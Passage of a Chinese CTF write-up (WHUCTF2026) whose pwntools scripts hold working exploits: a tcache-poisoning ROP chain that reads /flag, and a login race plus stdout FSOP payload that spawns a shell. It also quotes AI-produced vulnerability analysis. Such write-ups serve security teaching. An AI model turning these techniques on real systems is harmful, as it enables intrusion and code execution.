set debug-file-directory /home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/libc6-dbg_2.35-0ubuntu3.13_amd64/usr/lib/debug
set directories /home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/glibc-source_2.35-0ubuntu3.13_all/usr/src/glibc/glibc-2.35
b exit
c

'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
elif args.DOCKER:
import docker
from os import path
p = remote(host, port)
client = docker.from_env()
container = client.containers.get(container_id=container_id)
processes_info = container.top()
titles = processes_info['Titles']
processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
target_proc = []
for proc in processes:
cmd = proc.get('CMD', '')
exe_path = cmd.split()[0] if cmd else ''
exe_name = path.basename(exe_path)
if exe_name == proc_name:
target_proc.append(proc)
idx = 0
if len(target_proc) > 1:
for i, v in enumerate(target_proc):
print(f'{i} => {v}')
idx = int(input('Which one:'))
import tempfile
with tempfile.NamedTemporaryFile(prefix='cpwn-gdbscript-', delete=False, suffix='.gdb', mode='w') as tmp:
tmp.write(f'shell rm {tmp.name}\n{gs}')
print(tmp.name)
run_in_new_terminal(['sudo', 'gdb', '-p', target_proc[idx]['PID'], '-x', tmp.name])
return p
else:
return gdb.debug(elf.path, gdbscript=gs)


def send_request(op, idx=0, size=0, data=b''):
if isinstance(data, str):
data = data.encode()

req = chall_pb2.Request(op=op, idx=idx, size=size, data=data)
p.send(req.SerializeToString())

blob = p.recvrepeat(0.2)
if not blob:
raise EOFError('no protobuf response received')

resp = chall_pb2.Response()
resp.ParseFromString(blob)
return resp


def ensure(resp, tag='req'):
if not resp.ok:
log.failure(f'{tag} failed: {resp.msg!r}')
raise RuntimeError(f'{tag} failed: {resp.msg!r}')
log.info(f'{tag}: {resp.msg!r}')
return resp


def add(idx, size, data=b''):
return send_request(chall_pb2.OP_ADD, idx=idx, size=size, data=data)


def delete(idx):
return send_request(chall_pb2.OP_DEL, idx=idx)


def edit(idx, data=b''):
return send_request(chall_pb2.OP_EDIT, idx=idx, data=data)


def show(idx):
return send_request(chall_pb2.OP_SHOW, idx=idx)


def quit_():
return send_request(chall_pb2.OP_QUIT)
pause()


def add_ok(idx, size, data=b''):
return ensure(add(idx, size, data), f'add({idx:#x})')


def del_ok(idx):
return ensure(delete(idx), f'del({idx:#x})')


def edit_ok(idx, data=b''):
return ensure(edit(idx, data), f'edit({idx:#x})')


def show_ok(idx):
return ensure(show(idx), f'show({idx:#x})')


def dump_chunk(idx):
resp = show_ok(idx)
data = bytes(resp.data)
log.info(f'show[{idx}] len={len(data):#x} data={data[:0x40].hex()}')
return data


def qword(buf, off=0):
return u64(buf[off:off + 8].ljust(8, b'\x00'))


def protect_ptr(pos, ptr):
return (pos >> 12) ^ ptr


def exploit():
add_ok(0,0x300,b'a')
add_ok(1,0x300,b'a'*0x50)

leak = dump_chunk(1)
stack = qword(leak,0x50)
#pause()
log.success(f'stack addr = {stack:#x}')

add_ok(2,0x500,b'a')
del_ok(2)
leak=dump_chunk(2)
libc_base=qword(leak,0x0)-0x21b300
log.success(f'libc base = {libc_base:#x}')

add_ok(3,0x300,b'a')
add_ok(4,0x300,b'a')
del_ok(3)
leak=dump_chunk(3)
heap_base=qword(leak,0x0)*0x1000+0x3e0-0x213e0
log.success(f'heap base = {heap_base:#x}')
del_ok(4)
edit_ok(4,p64(((heap_base+0x210d0)>>12)^(stack+0xa0)))
add_ok(5,0x300,b'a')
#pause()

pop_rdi=libc_base+0x2a3e5
pop_rsi=libc_base+0x2be51
pop_rdx_rbx=libc_base+0x904a9
open_addr=libc_base+libc.sym['open']
write_addr=libc_base+libc.sym['write']
read_addr=libc_base+libc.sym['read']
buf_addr=heap_base+0x21110
flag_addr=stack+0x168
rop = b''

# open("flag", 0)
rop += p64(pop_rdi)
rop += p64(flag_addr) # "flag"

rop += p64(pop_rsi)
rop += p64(0) # O_RDONLY

rop += p64(pop_rdx_rbx)
rop += p64(0) # mode
rop += p64(0) # rbx padding

rop += p64(open_addr)


# read(3, buf, 0x100)
rop += p64(pop_rdi)
rop += p64(3) # fd

rop += p64(pop_rsi)
rop += p64(buf_addr)

rop += p64(pop_rdx_rbx)
rop += p64(0x100)
rop += p64(0)

rop += p64(read_addr)


# write(1, buf, 0x100)
rop += p64(pop_rdi)
rop += p64(1)

rop += p64(pop_rsi)
rop += p64(buf_addr)

rop += p64(pop_rdx_rbx)
rop += p64(0x100)
rop += p64(0)

rop += p64(write_addr)

rop += b'/flag\x00\x00\x00'

if isinstance(b'a'*0x8+rop, str):
data = data.encode()

req = chall_pb2.Request(op=chall_pb2.OP_ADD, idx=6, size=0x300, data=b'a'*0x8+rop)
p.send(req.SerializeToString())
p.interactive()
send_request(chall_pb2.OP_ADD, idx=6, size=0x300, data=b'a'*0x8+rop)



p = start()
pause()
exploit()
p.interactive()

效果如下

 ~/WHUCTF2026/chall  python3 exp.py P
[*] '/home/ubuntu/WHUCTF2026/chall/chall_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RPATH: b'$ORIGIN'
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[*] '/home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/libc6_2.35-0ubuntu3.13_amd64/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[+] Starting local process '/home/ubuntu/WHUCTF2026/chall/chall_patched': pid 7894
[*] Paused (press any to continue)
[*] add(0x0): 'add ok'
[*] add(0x1): 'add ok'
[*] show(0x1): 'show ok'
[*] show[1] len=0x300 data=61616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161
[+] stack addr = 0x7ffc7e56d3d0
[*] add(0x2): 'add ok'
[*] del(0x2): 'del ok'
[*] show(0x2): 'show ok'
[*] show[2] len=0x500 data=00b3e14a917d000000b3e14a917d0000905923a137560000905923a137560000b0d3567efc7f00004506000000000000185a23a137560000e020539e37560000
[+] libc base = 0x7d914ac00000
[*] add(0x3): 'add ok'
[*] add(0x4): 'add ok'
[*] del(0x3): 'del ok'
[*] show(0x3): 'show ok'
[*] show[3] len=0x300 data=37127a63050000000000000000000000616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161
[+] heap base = 0x5637a1216000
[*] del(0x4): 'del ok'
[*] edit(0x4): 'edit ok'
[*] add(0x5): 'add ok'
[*] Switching to interactive mode
\x08\x01\x12\x06add okyour_flag_content
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$ [*] Got EOF while reading in interactive

即可拿到flag

login

提示

login 时候的 auth_cache 是全局共享的

设置 session 时候似乎没有用 auth_cache 中的 user?

了解一下 pthread 库和线程、条件竞争相关内容

登录过的用户是会保存在 session 数组的。分析一下选项8的作用

过程

ai逆向

> 分析/login文件夹的pwn程序漏洞

上 37 条消息
这个 login/pwn 不是传统栈溢出题,主洞更像“并发逻辑漏洞 + 越界索引”。

先说结论:我认为至少有 2 个关键漏洞,能串起来打。

1. 登录竞态,能把“验证的密码”和“建立的会话用户”错配
在 login_worker (0x2781) 里,流程是:

加 user_lock
find_user_locked() 找到目标用户指针
prepare_auth_cache_locked() 把全局 auth_cache 改成这个用户的信息
释放 user_lock
用全局 auth_cache 计算/比对密码
成功后用之前保存的 found_user 去 set_session_locked() 建会话
问题在于 auth_cache 是全局共享的,且第 4 步解锁后,别的线程可以改它。
因为注册/登录 worker 都是 pthread_detach 跑的,所以可以并发发两个 login。

这样会出现认证混淆:

线程 A:尝试登录 admin
线程 B:尝试登录你自己的普通用户
A 在解锁后,还没完成校验时,B 把全局 auth_cache 覆盖成自己的用户名/密码摘要
A 最后比对的是 B 的密码摘要,但成功后 set_session_locked() 用的仍然是 A 一开始拿到的 admin 指针
结果就是:用自己的密码登录成 admin

这一段的核心危险点在:

prepare_auth_cache_locked (0x1b4f)
login_worker 中解锁后的 build_password_verifier 和后续比较
成功后仍使用旧的 found_user 指针建会话
2. admin 菜单存在负数索引越界,可做 OOB 指针读写
在 admin_menu (0x1cec) 的选项 1 和 2 里,读取 user index 后只检查了:

idx > 0x1f 就报错
但没有检查 idx < 0。

所以负数可以直接走进:

users[idx] 的越界访问
然后把取出的内容当成指针继续用
具体效果:

选项 1 edit user's username:
会把输入写到 users[idx] 指向的地址,长度 0x100
选项 2 edit user's password:
会把新密码摘要写到 users[idx] + 0x100
这已经是很强的原语了。因为 users 在 .bss,负索引会访问到它前面的全局区。前面正好有像 stdin/stdout/stderr 这类非零指针全局变量,于是可以把它们指向的 libc 结构当目标写,明显有 FSOP / libc 结构破坏 的利用空间。

所以这题很像:

先用登录竞态拿 admin
再用 admin 的负数索引越界做进一步利用
3. 额外还有 UAF/TOCTOU 味道
switch_worker (0x2e2e) 里:

在 user_lock 下拿到 user *
解锁后继续用这个指针
最后还会 printf("%s", user_ptr)
如果目标用户在这期间被 deregister,这里就是典型 UAF / TOCTOU。login_worker 里也有类似问题:拿到 found_user 后释放 user_lock,后面还继续信任它。

保护情况
从 ELF 看:

有 Canary
NX 开着
PIE 开着
基本可视为 Full RELRO
所以它不是让你直接打简单栈溢出的,重点就是上面的逻辑洞。

如果你愿意,我下一步可以继续帮你做两件事中的任意一个:

给出这个题的完整利用链思路
直接开始写一个 pwntools exp,先复现 admin 竞态登录


> 和我总结登录函数的细节操作


上 1 条消息
login 对应的核心函数是 login_worker,地址在 D:\ctf-ai\login\pwn 里的 0x2781。它做的事可以按这 8 步理解:

接收输入参数
主循环先分配一块 0x200 的堆内存,前 0x100 放用户名,后 0x100 放密码,然后把这个指针传给 login_worker。

加 user_lock
函数一开始先锁住 user_lock,准备在用户表 users[] 里查用户名,避免查找过程中用户表被同时修改。

查找用户
它调用 find_user_locked(username),在 users[0..31] 里逐个 strcmp,找到就返回该用户结构体指针,找不到就打印 [-] no such user,释放参数堆块并结束。

准备全局认证缓存
找到用户后,它调用 prepare_auth_cache_locked(found_user, supplied_username)。这个函数会改全局 auth_cache:

auth_cache 指向当前找到的用户结构体
auth_cache+0x8 保存本次输入的用户名
auth_cache+0x108 保存该用户真实密码摘要字符串
释放 user_lock
这里是关键点。用户锁在密码校验前就释放了,后面的校验不再受保护。

计算“本次输入密码”的摘要并和全局缓存比较
它用输入的密码 arg+0x100,以及全局 auth_cache+0x8 里的用户名作为 salt/material,调用 build_password_verifier(...) 算出摘要,再和全局 auth_cache+0x108 做 strcmp。
也就是说,它实际比较的是:

左边:当前输入密码算出来的摘要
右边:全局缓存里保存的“某个用户的正确摘要”
校验成功后加 session_lock,创建会话
如果摘要相等,它再锁 session_lock,调用 set_session_locked(found_user, role_text)。
这里 found_user 还是第 3 步找到的那个用户指针,role_text 只是:

管理员则 "admin"
普通用户则 "user: %s" 这种展示文字对应的内容
set_session_locked 会:

找/建 sessions[idx]
清空 0x410 大小的 session
session->user = found_user
session->logged_in = 1
session->note 用 snprintf(..., 0x400, "%s", role_text) 写入
active_session = session
释放 session_lock,打印登录成功
最后输出 [+] logged in as %s,释放最初那块输入参数堆内存。
这条函数最重要的细节
在 pwn 的 login_worker 里,认证分成了两段:

前半段在 user_lock 保护下,找到 found_user 并准备 auth_cache
后半段在无锁状态下,用全局 auth_cache 做密码比较
最后再拿 found_user 去建 session
所以它不是“对同一个用户对象全程原子验证”,而是“先记住用户指针,再去信任一个全局认证缓存”。这就是竞态根源:别的线程可以在中间改掉 auth_cache,导致“验证通过的是 B 的口令,但建会话用的是 A 的用户指针”。

如果你愿意,我下一条可以继续把 login_worker 的内存布局也画出来,或者直接把这个竞态的时序图给你。


> 我的意思是主函数main的所有函数

上 1 条消息
main 在 0x30bb,它本质上是一个“菜单分发器”。自己不做复杂业务,主要负责:

初始化环境
读菜单输入
按选项分配参数堆块
把任务交给对应的 worker 函数
可以按下面这条主线理解。

1. 启动阶段

main 一开始做三件事:

setbuf(stdin, NULL)
setbuf(stdout, NULL)
setbuf(stderr, NULL)
把标准输入输出都设成无缓冲,方便交互题实时收发。

然后调用 init_users():

初始化全局用户表 users
初始化默认管理员 admin
从 /dev/urandom 取随机材料
构造默认密码相关数据
初始化一些全局锁和状态
接着打印欢迎语:wow wow wow, you can do so many things

2. 主循环框架

之后进入一个死循环,每轮大致是:

清空一个本地 0x20 缓冲区
调 login_menu() 打印 1 到 9 的菜单
用 read_line() 读取用户输入
atoi() 转成整数
根据选项分发到不同函数
也就是说,main 本身没有业务判断,所有逻辑都在各个 worker 里。

3. 菜单项和对应函数

1. register
流程:

calloc(1, 0x200) 申请参数块
read_line(buf, 0x100) 读用户名
read_line(buf+0x100, 0x100) 读密码
调 launch_worker(register_worker, buf)
参数布局:

buf[0:0x100] 用户名
buf[0x100:0x200] 密码
register_worker() 做的事:

加 user_lock
检查用户表是否已满
检查用户名是否已存在
找空槽,申请一个 0x204 的用户结构
用户名前 0x100 字节写入用户名
build_password_verifier() 生成密码摘要,写到 user+0x100
user+0x200 设为 0,表示普通用户
更新 user_count
解锁并打印 [+] registered: %s
2. login
流程:

calloc(1, 0x200)
读用户名到前 0x100
读密码到后 0x100
launch_worker(login_worker, buf)
login_worker() 做的事:

加 user_lock
用 find_user_locked() 找用户
用 prepare_auth_cache_locked() 准备全局认证缓存
解锁
计算输入密码摘要并与全局缓存比对
成功后加 session_lock
调 set_session_locked(found_user, role_string) 建立会话
设置 active_session
打印 [+] logged in as %s
这也是前面提到存在竞态问题的函数。

3. logout
流程:

不分配参数
launch_worker(logout_worker, NULL)
logout_worker() 的核心动作:

加 session_lock
如果 active_session 存在,就把整块 session memset(0, 0x410)
然后把 active_session = NULL
解锁
输出 [+] logged out
这里只清空 session,不删用户。

4. whoami
流程:

launch_worker(whoami_worker, NULL)
whoami_worker():

加 session_lock
检查 active_session 是否存在且 logged_in 为真
如果有效,把当前 session 整体拷到栈上本地副本
解锁
输出三项:
user: %s
role: %s
note: %s
这里显示的信息都来自 session,而不是直接读用户表。

5. edit session note
流程:

calloc(1, 0x400)
read_line(buf, 0x400) 读 note
launch_worker(edit_note_worker, buf)
edit_note_worker():

加 session_lock
检查 active_session 是否有效
用 snprintf(active_session+0xc, 0x400, "%s", input_note) 覆盖 session note
解锁
输出 [+] note updated
可见 session 结构大概是:

+0x0: user 指针
+0x8: logged_in
+0xc: note / role 文本区域,大小约 0x400
6. admin menu
流程:

launch_worker(admin_worker, NULL)
admin_worker():

加 session_lock
检查 active_session
取 active_session->user->is_admin,即用户结构偏移 0x200
解锁
若为 admin,进入 admin_menu()
否则打印 [-] admin only
admin_menu() 里面有 4 个子功能:

edit user's username
读 user index
直接拿 users[idx]
再把新的用户名写进那个用户结构起始处
edit user's password
读 user index
读新密码
调 build_password_verifier() 重建摘要,写到 user+0x100
change admin password
直接修改 users[0] 的密码摘要
因为默认 admin 就在 users[0]
logged out and return to login menu
清空 active_session
回到主菜单
这里的 1/2 对 idx 只检查了 > 31,没检查负数,所以有负索引越界。

7. user menu
流程:

launch_worker(user_worker, NULL)
user_worker():

加 session_lock
取 active_session->user
解锁
调 user_menu(user_ptr)
user_menu(user_ptr) 里有 3 个子功能:

deregister
加 user_lock 和 session_lock
找到该用户对应索引
如果有对应 session 就 free
如果 auth_cache 指向该用户,就清空全局 auth_cache
如果 active_session 指向该用户,也清空
users[idx] = NULL
free(user_ptr)
user_count--
解锁
输出 [+] deregistered
change password
加 user_lock
读新密码
调 build_password_verifier(user, newpass, user+0x100, 0x100)
解锁
输出 [+] changed password
logged out and return to login menu
和主菜单的 logout 类似,清 active_session
注意这里 deregister 会真的释放用户对象,所以别的线程如果还拿着旧的 user *,就会有 UAF 风险。

8. switch session
流程:

calloc(1, 0x100)
读用户名
launch_worker(switch_worker, buf)
switch_worker():

加 user_lock
find_user_locked(username) 找目标用户
解锁
若用户不存在则报错
加 session_lock
session_for_user_locked(target_user) 找该用户现有 session
如果该 session 存在且 logged_in=1
active_session = target_session
输出 [+] switched to %s
否则报 [-] user is not logged in
这个功能本身就很危险,因为任何人只要知道一个“已经登录用户”的用户名,就能把 active_session 切过去,几乎没有权限校验。

9. exit
直接跳出循环返回。

4. main 依赖的基础函数

除了菜单项,main 这条链里还依赖几个基础函数:

login_menu()
只负责打印主菜单

read_line(buf, size)
从 stdin 逐字节读到换行,最多写 size-1 字节,最后补 \0

launch_worker(func, arg)
统一线程启动器

pthread_create
如果是 admin_worker 或 user_worker,会 pthread_join
其他 worker 则 pthread_detach
这意味着:

register/login/logout/whoami/edit_note/switch 是异步 worker
admin menu/user menu 是同步进入的
5. 从 main 看全局数据结构

主循环实际围绕这几组全局状态在运转:

users[32]
用户指针表

user_count
当前用户数量

sessions[32]
每个用户对应的 session 指针表

active_session
当前全局“前台会话”

auth_cache
登录过程用的全局认证缓存

user_lock
保护用户表和认证缓存相关逻辑

session_lock
保护 session 和 active_session

一句话概括
main 不是业务函数,它只是一个循环调度器;真正的逻辑都在 register_worker、login_worker、logout_worker、whoami_worker、edit_note_worker、admin_worker/admin_menu、user_worker/user_menu、switch_worker 这些函数里。
如果你想,我下一条可以继续把这些函数整理成一张“调用关系图 + 数据流图”。


> 直接将简单的交互函数输出给我


上 3 条消息
from pwn import *

context.binary = './pwn'
context.log_level = 'debug'

def start():
return process(
['./pwn'],
cwd='/mnt/d/ctf-ai/login',
env={
'LD_PRELOAD': '/mnt/d/ctf-ai/login/libc.so.6',
},
)

def choice(p, x):
p.sendlineafter(b'> ', str(x).encode())

def register(p, username, password):
choice(p, 1)
p.sendlineafter(b'username: ', username)
p.sendlineafter(b'password: ', password)

def login(p, username, password):
choice(p, 2)
p.sendlineafter(b'username: ', username)
p.sendlineafter(b'password: ', password)

def logout(p):
choice(p, 3)

def whoami(p):
choice(p, 4)

def edit_note(p, note):
choice(p, 5)
p.sendlineafter(b'note: ', note)

def admin_menu(p, sub):
choice(p, 6)
p.sendlineafter(b'> ', str(sub).encode())

def admin_edit_username(p, idx, new_name):
choice(p, 6)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'user index: ', str(idx).encode())
p.sendlineafter(b'new username: ', new_name)

def admin_edit_password(p, idx, new_pw):
choice(p, 6)
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'user index: ', str(idx).encode())
p.sendlineafter(b'new password: ', new_pw)

def admin_change_admin_password(p, new_pw):
choice(p, 6)
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'new admin password: ', new_pw)

def user_menu(p, sub):
choice(p, 7)
p.sendlineafter(b'> ', str(sub).encode())

def deregister(p):
choice(p, 7)
p.sendlineafter(b'> ', b'1')

def change_password(p, new_pw):
choice(p, 7)
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'new password: ', new_pw)

def user_logout(p):
choice(p, 7)
p.sendlineafter(b'> ', b'3')

def switch_session(p, username):
choice(p, 8)
p.sendlineafter(b'username: ', username)

def quit_prog(p):
choice(p, 9)
最小使用例子:

p = start()

register(p, b'aaa', b'bbb')
login(p, b'aaa', b'bbb')
whoami(p)

p.interactive()
如果你要,我下一条可以直接给你补一个“同一个 process() 里连续触发两次 login”的模板。

是一道竞争题目,那么先注册一个用户,然后向服务器不断发送两个不同登录信号,一个是admin,另一个是我们注册的用户,密码都使用我们注册的用户密码

def race(p):
login(p, b'admin',b'aaa')
login(p, b'aaa',b'aaa')

重复0x20次尝试后发现中间确实可以登录到admin,这是因为在admin登录时并发的aaa登录校验把aaa密码写进了auth全局变量里,这样admin的密码被认为是auth全局变量中的aaa,校验是就有了f(aaa)=f(aaa),校验通过就登陆到了admin

一开始是不知道如何准确停下,考虑到recv会影响交互速度,影响竞争,题目提示发现可以通过session_switch登录上已经登录过的用户

于是尝试本地果然可以稳定得到admin,然而发现远程交互的速度远远慢于本地交互速度,本地瞬间出现结果然而远程得登上半分钟,竞争是肯定没有办法的,于是删去所有的p.recvuntil然后写入一个函数中,每一次竞争后都加入一次数据接收,查看是否成功登录,这样远程交互更加快速和稳定,果然远程交互速度得到极大地加快,并且可以得到admin登录

登录到admin后,就可以使用负索引漏洞,users的负索引可以修改_IO_2_1_stdout_的内容

先修改_IO_2_1_stdout_泄露libc,将_flags位修改为0xfbad1800,将_IO_write_base末尾字节修改为\x00,中间的变量_IO_read_ptr _IO_read_end _IO_read_base直接填充为0

p64(0xfbad1800)+p64(0)*3+'\x00'

后续程序在调用puts函数时,就会泄露出存在libc中的地址,找到对应的偏移就能得到libc基址

再次修改_IO_2_1_stdout_的内容,使用house of apple2的板子就行了

脚本如下

#!/usr/bin/env python3

'''
author: GeekCmore
time: 2026-04-18 09:19:33
'''
from pwn import *

context(os='linux', arch='amd64')#, log_level='debug')
context.terminal = ['wt.exe', 'wsl']
filename = '/home/ubuntu/WHUCTF2026/login/pwn_patched'
libcname = '/home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6'
host = '127.0.0.1'
port = 38321
container_id = ''
proc_name = ''
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''

'''

#set debug-file-directory /home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.3-0ubuntu3.13_amd64/usr/lib/debug
#set directories /home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.13/amd64/glibc-source_2.35-0ubuntu3.13_all/usr/src/glibc/glibc-2.35

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
elif args.DOCKER:
import docker
from os import path
p = remote(host, port)
client = docker.from_env()
container = client.containers.get(container_id=container_id)
processes_info = container.top()
titles = processes_info['Titles']
processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
target_proc = []
for proc in processes:
cmd = proc.get('CMD', '')
exe_path = cmd.split()[0] if cmd else ''
exe_name = path.basename(exe_path)
if exe_name == proc_name:
target_proc.append(proc)
idx = 0
if len(target_proc) > 1:
for i, v in enumerate(target_proc):
print(f'{i} => {v}')
idx = int(input('Which one:'))
import tempfile
with tempfile.NamedTemporaryFile(prefix='cpwn-gdbscript-', delete=False, suffix='.gdb', mode='w') as tmp:
tmp.write(f'shell rm {tmp.name}\n{gs}')
print(tmp.name)
run_in_new_terminal(['sudo', 'gdb', '-p', target_proc[idx]['PID'], '-x', tmp.name])
return p
else:
return gdb.debug(elf.path, gdbscript=gs)


def choice(x):
p.sendlineafter(b'> ', str(x).encode())

def register(username, password):
choice(1)
p.sendlineafter(b'username: ', username)
p.sendlineafter(b'password: ', password)

def login(username, password):
choice(2)
p.sendlineafter(b'username: ', username)
p.sendlineafter(b'password: ', password)

def logout():
choice(3)

def whoami():
choice(4)

def edit_note(note):
choice(5)
p.sendlineafter(b'note: ', note)

def admin_menu(sub):
choice(6)
p.sendlineafter(b'> ', str(sub).encode())

def admin_edit_username(idx, new_name):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'user index: ', str(idx).encode())
p.sendlineafter(b'new username: ', new_name)

def admin_edit_password(idx, new_pw):
choice(6)
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'user index: ', str(idx).encode())
p.sendlineafter(b'new password: ', new_pw)

def admin_change_admin_password(new_pw):
choice(6)
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'new admin password: ', new_pw)

def user_menu(sub):
choice(7)
p.sendlineafter(b'> ', str(sub).encode())

def deregister():
choice(7)
p.sendlineafter(b'> ', b'1')

def change_password(new_pw):
choice(7)
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'new password: ', new_pw)

def user_logout():
choice(7)
p.sendlineafter(b'> ', b'3')

def switch_session(username):
choice(8)
p.sendlineafter(b'username: ', username)

def quit_prog():
choice(9)

def race():
for i in range(0x100):
p.sendline(b'2')
p.sendline(b'admin')
p.sendline(b'aaa')

p.sendline(b'2')
p.sendline(b'aaa')
p.sendline(b'aaa')

p.sendline(b'2')
p.sendline(b'admin')
p.sendline(b'aaa')

data = p.recv(timeout=0.3)
if b"logged in as admin" in data:
break

p=start()
register(b'aaa', b'aaa')
log.success(f'trying')

race()
sleep(0.3)
switch_session(b'admin')
choice(6)
log.success('login success')

#pause()
admin_edit_username(-3,p64(0xFBAD1800)+p64(0)*3+b'\x00')
libc_leak=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=libc_leak-0x204644
log.success(f'libc_base: {hex(libc_base)}')

#gdb.attach(p)
#pause()
fake_io = flat(
{
0x0: b" sh;",
0x8: libc_base+libc.sym['_IO_2_1_stdout_']-0x10,
0x28:libc_base+libc.sym['system'],
0x88:libc_base+libc.sym['_environ']-0x10,
0xa0:libc_base+libc.sym['_IO_2_1_stdout_']-0x40,
0xD8:libc_base+libc.sym['_IO_wfile_jumps']-0x20,
},
filler=b'\x00',
)
admin_edit_username(-3,fake_io)

p.interactive()

效果如下

 ~/WHUCTF2026/login  python3 exp.py P
[*] '/home/ubuntu/WHUCTF2026/login/pwn_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu'
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[*] '/home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
[+] Starting local process '/home/ubuntu/WHUCTF2026/login/pwn_patched': pid 9412
[+] trying
[+] login success
[+] libc_base: 0x7899e4800000
[*] Switching to interactive mode
$ ls
exp.py ld-linux-x86-64.so.2 libc.so.6 libcrypto.so.3 pwn pwn_patched
$ cat /flag
your_flag_content

vmpp

提示

std::cin 在向定长缓冲区输入时是可溢出的

调试研究一下 std::function 的内存布局是怎样的

过程

ai逆向

整体流程
程序主逻辑很简单:

main 构造一个 VM 对象
立刻调用 VM::updateFunc()
提示 input your code:
读一整行原始字节到 vm_code
executeCode() 开始解释执行
如果字节码读完了,会打印 bye 并 exit(exit_code)
所以这题不是菜单题,而是“一次喂 bytecode,然后 VM 在执行中可能再次向你要输入”。

VM 对象布局
从构造和偏移能看出主要字段:

+0x00 vector<uint8_t>:vm_code
+0x18 size_t:当前 PC
+0x20 vector<uint64_t>:4 个寄存器 regs
+0x38 vector<uint64_t>:0x100 个 data slot
+0x50 stack<uint64_t>:运行栈
+0xa0 int:exit_code
+0xa4:一个很小的字符缓冲区
+0xb8 / +0xd8 / +0xf8 / +0x118 / +0x138:5 个 std::function<void()> handler
+0x1158:旧版 stack handler 用的栈顶索引
+0x115c:一个“本轮指令已触发退出”的标志
这 5 个 handler 对应 opcode 大类分发。

总 opcode 分发
VM::vm_operator() 每次先 getCode() 取 1 字节 opcode,再按 0..5 分发:

0x01 -> stack 类
0x02 -> data 类
0x03 -> regs 类
0x04 -> syscall 类
0x05 -> exit 类
0x00 -> 解释结束
这里有个很关键的点:

VM::vm_reset() 会把 5 个 handler 设成旧版本 vm_*
但 main 在构造完之后又调用了 VM::updateFunc()
updateFunc() 会把它们全部换成 vm_*2
也就是说,程序真正运行的是“新版 handler”,不是旧版。

输入和取指
inputCode() 很直白:

从 cin.get() 一个字节一个字节读
直到遇到换行 \n
每个字节都 push 到 vm_code
所以字节码本身就是原始 bytes,不是文本 opcode。

getCode() 也很简单:

如果 pc < vm_code.size(),返回 vm_code[pc++]
否则打印 code index wrong!,返回 0
因此你完全可以把题看成自定义 bytecode 解释器。

各类指令的语义
先讲新版,也就是实际运行的版本。

stack_op2
第二字节是子 opcode:0x10 / 0x11 / 0x12
第三字节是寄存器编号,限制 0..3
大概是:

0x10 reg imm64:push 立即数到真实 std::stack
0x11 reg:从真实栈 top 弹到 regs[reg]
0x12 reg:把 regs[reg] push 到真实栈
data_op2
三字节格式:subop x y
只允许最后一个索引 y <= 3
语义是 regs 和 data 之间搬运:

0x20 x y:data[x] = regs[y]
0x21 x y:regs[y] = data[x]
regs_op2
第一个字节是具体算术逻辑 opcode
后面三个字节都是寄存器号,且都限制 0..3
支持的有:

